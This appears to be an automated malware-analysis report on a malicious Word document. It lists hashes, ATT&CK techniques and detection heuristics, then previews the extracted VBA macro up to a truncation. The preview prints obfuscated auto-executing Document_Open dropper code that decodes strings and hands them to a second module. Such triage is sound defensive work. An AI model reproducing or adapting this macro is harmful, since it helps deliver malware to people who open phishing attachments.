Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 209fb398318a0d34…

MALICIOUS

Office (OLE)

487.5 KB Created: 2018-06-06 13:24:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: ce2df2907ce543438c19cfaf6c14f699 SHA-1: 17ac7424c06f42844b70ac508d12608329d331ae SHA-256: 209fb398318a0d346b933b0c408467fce8dea36c10cd0f69ce4b342e28cee9dc
264 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro designed to execute upon opening. Heuristics indicate the use of CreateObject and GetObject, common for launching malicious processes. The macro is heavily obfuscated, suggesting an attempt to deobfuscate and download a second-stage payload. The ClamAV detection name 'Doc.Malware.Valyria-10015839-0' further confirms its malicious nature.

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-10015839-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10015839-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 74169 bytes
SHA-256: 021315cac4a91cd782d441e7b9e2ce34affc6bc17aecf94ac011123a8a3b96df
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 71 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Option Explicit
Sub Document_Open()
    On Error Resume Next


    Dim hUbq, drSE, nsSh As String
    hUbq = cGkv(pTYH)
    drSE = cGkv(cCIO)
    nsSh = cGkv(mPAS)


    Dim nPks As String
    nPks = oZxP(rFdR(34, 113))
    nPks = pdBO(nPks, oZxP(rFdR(29, 126)))
    nPks = pdBO(nPks, oZxP(rFdR(124, 14)))
    nPks = pdBO(nPks, oZxP(rFdR(56, 81)))
    nPks = pdBO(nPks, oZxP(rFdR(28, 108)))
    nPks = pdBO(nPks, oZxP(rFdR(233, 157)))
    nPks = pdBO(nPks, oZxP(rFdR(56, 81)))
    nPks = pdBO(nPks, oZxP(rFdR(249, 151)))
    nPks = pdBO(nPks, oZxP(rFdR(160, 199)))
    nPks = pdBO(nPks, oZxP(rFdR(254, 208)))
    nPks = pdBO(nPks, oZxP(rFdR(130, 196)))
    nPks = pdBO(nPks, oZxP(rFdR(56, 81)))
    nPks = pdBO(nPks, oZxP(rFdR(68, 40)))
    nPks = pdBO(nPks, oZxP(rFdR(236, 137)))
    nPks = pdBO(nPks, oZxP(rFdR(34, 113)))
    nPks = pdBO(nPks, oZxP(rFdR(227, 154)))
    nPks = pdBO(nPks, oZxP(rFdR(214, 165)))
    nPks = pdBO(nPks, oZxP(rFdR(233, 157)))
    nPks = pdBO(nPks, oZxP(rFdR(236, 137)))
    nPks = pdBO(nPks, oZxP(rFdR(121, 20)))
    nPks = pdBO(nPks, oZxP(rFdR(231, 168)))
    nPks = pdBO(nPks, oZxP(rFdR(194, 160)))
    nPks = pdBO(nPks, oZxP(rFdR(114, 24)))
    nPks = pdBO(nPks, oZxP(rFdR(236, 137)))
    nPks = pdBO(nPks, oZxP(rFdR(29, 126)))
    nPks = pdBO(nPks, oZxP(rFdR(233, 157)))

    Dim ySxy As String
    ySxy = hUbq
    Dim pOyT As String
    pOyT = ""
    pOyT = pdBO(pOyT, oZxP(rFdR(8, 75)))
pOyT = pdBO(pOyT, oZxP(rFdR(121, 67)))
pOyT = pdBO(pOyT, "\")
pOyT = pdBO(pOyT, oZxP(rFdR(41, 121)))
pOyT = pdBO(pOyT, oZxP(rFdR(124, 14)))
pOyT = pdBO(pOyT, oZxP(rFdR(17, 126)))
pOyT = pdBO(pOyT, oZxP(rFdR(160, 199)))
pOyT = pdBO(pOyT, oZxP(rFdR(124, 14)))
pOyT = pdBO(pOyT, oZxP(rFdR(114, 19)))
pOyT = pdBO(pOyT, oZxP(rFdR(121, 20)))
pOyT = pdBO(pOyT, oZxP(rFdR(124, 56)))
pOyT = pdBO(pOyT, oZxP(rFdR(114, 19)))
pOyT = pdBO(pOyT, oZxP(rFdR(233, 157)))
pOyT = pdBO(pOyT, oZxP(rFdR(114, 19)))
pOyT = pdBO(pOyT, "\")
pOyT = pdBO(pOyT, oZxP(rFdR(198, 145)))
pOyT = pdBO(pOyT, oZxP(rFdR(56, 81)))
pOyT = pdBO(pOyT, oZxP(rFdR(249, 151)))
pOyT = pdBO(pOyT, oZxP(rFdR(202, 174)))
pOyT = pdBO(pOyT, oZxP(rFdR(17, 126)))
pOyT = pdBO(pOyT, oZxP(rFdR(198, 177)))
pOyT = pdBO(pOyT, oZxP(rFdR(214, 165)))
pOyT = pdBO(pOyT, oZxP(rFdR(124, 56)))
pOyT = pdBO(pOyT, oZxP(rFdR(236, 137)))
pOyT = pdBO(pOyT, oZxP(rFdR(25, 127)))
pOyT = pdBO(pOyT, oZxP(rFdR(236, 137)))
pOyT = pdBO(pOyT, oZxP(rFdR(249, 151)))
pOyT = pdBO(pOyT, oZxP(rFdR(202, 174)))
pOyT = pdBO(pOyT, oZxP(rFdR(236, 137)))
pOyT = pdBO(pOyT, oZxP(rFdR(124, 14)))
pOyT = pdBO(pOyT, oZxP(rFdR(240, 164)))
pOyT = pdBO(pOyT, oZxP(rFdR(114, 19)))
pOyT = pdBO(pOyT, oZxP(rFdR(214, 165)))
pOyT = pdBO(pOyT, oZxP(rFdR(41, 66)))
pOyT = pdBO(pOyT, oZxP(rFdR(254, 208)))
pOyT = pdBO(pOyT, oZxP(rFdR(56, 81)))
pOyT = pdBO(pOyT, oZxP(rFdR(249, 151)))
pOyT = pdBO(pOyT, oZxP(rFdR(56, 81)))

    Module1.ypzs pOyT, ySxy, nPks

    Dim PDKk As String
    PDKk = ""
    PDKk = pdBO(PDKk, oZxP(rFdR(8, 75)))
PDKk = pdBO(PDKk, oZxP(rFdR(121, 67)))
PDKk = pdBO(PDKk, "\")
PDKk = pdBO(PDKk, oZxP(rFdR(41, 121)))
PDKk = pdBO(PDKk, oZxP(rFdR(124, 14)))
PDKk = pdBO(PDKk, oZxP(rFdR(17, 126)))
PDKk = pdBO(PDKk, oZxP(rFdR(160, 199)))
PDKk = pdBO(PDKk, oZxP(rFdR(124, 14)))
PDKk = pdBO(PDKk, oZxP(rFdR(114, 19)))
PDKk = pdBO(PDKk, oZxP(rFdR(121, 20)))
PDKk = pdBO(PDKk, oZxP(rFdR(124, 56)))
PDKk = pdBO(PDKk, oZxP(rFdR(114, 19)))
PDKk = pdBO(PDKk, oZxP(rFdR(233, 157)))
PDKk = pdBO(PDKk, oZxP(rFdR(114, 19)))
PDKk = pdBO(PDKk, "\")
PDKk = pdBO(PDKk, oZxP(rFdR(198, 145)))
PDKk = pdBO(PDKk, oZxP(rFdR(56, 81)))
PDKk = pdBO(PDKk, oZxP(rFdR(249, 151)))
PDKk = pdBO(PDKk, oZxP(rFdR(202, 174)))
PDKk = pdBO
... (truncated)